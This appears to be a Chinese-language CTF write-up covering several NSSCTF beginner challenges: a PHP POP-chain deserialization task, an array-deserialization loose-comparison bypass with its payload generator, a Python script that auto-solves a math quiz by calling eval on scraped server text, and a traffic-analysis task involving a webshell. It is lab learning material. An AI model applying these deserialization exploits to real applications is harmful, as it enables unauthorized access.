
[SWPUCTF 2021 新生赛]pop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET['w00m']; unserialize($w00m); ?>
|
解析
1 2 3 4 5
| $this->w00m->{$this->w22m}(); 在 PHP 中,可以使用花括号语法来动态调用对象的方法。在你的代码中,`$this->w00m`是一个对象,`$this->w22m`是一个字符串,表示方法名。通过将花括号放在对象后面,并在花括号内使用变量作为方法名,你可以动态调用对象的方法。
注意这个 我们可以用这个来调用类的方法
|
[HUBUCTF 2022 新生赛]checkin
真恶心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php show_source(__FILE__); $username = "this_is_secret"; $password = "this_is_not_known_to_you"; include("flag.php"); $info = isset($_GET['info'])? $_GET['info']: "" ; $data_unserialize = unserialize($info); if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){ echo $flag; }else{ echo "username or password error!"; } ?>
|
include(“flag.php”);//here I changed those two
这句话真是害人匪浅
没做过每加类的 一些题目 今天还遇上一个数组的反序列化
payload
1 2 3 4 5 6
| <?php $person = array("username" => true, "password" => true); $a=serialize($person); echo urlencode($a);
?>
|
[HUBUCTF 2022 新生赛]最简单的misc
纯手感

三个钩 这就是很灵性的
[HUBUCTF 2022 新生赛]Calculate
Breeze 师傅tql tql 膜拜脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import requests import time import re url = 'http://node5.anna.nssctf.cn:23323/' res = requests.session() for i in range(1, 21): print(f"正在执行第{i}次------") math = "" response = res.get(url) resTest = response.text li=re.findall(">([0-9*/+-])<",resTest)
math="".join(li) print(math) num = eval(math) myData = { 'ans': num } time.sleep(1) response = res.post(url, data=myData) if "NSSCTF{" in response.text: print("Flaggggggggg: ", response.text) exit()
|
[HUBUCTF 2022 新生赛]messy_traffic
这道题不想多说 直接看http流量自然就有密码 和 webshell flag.zip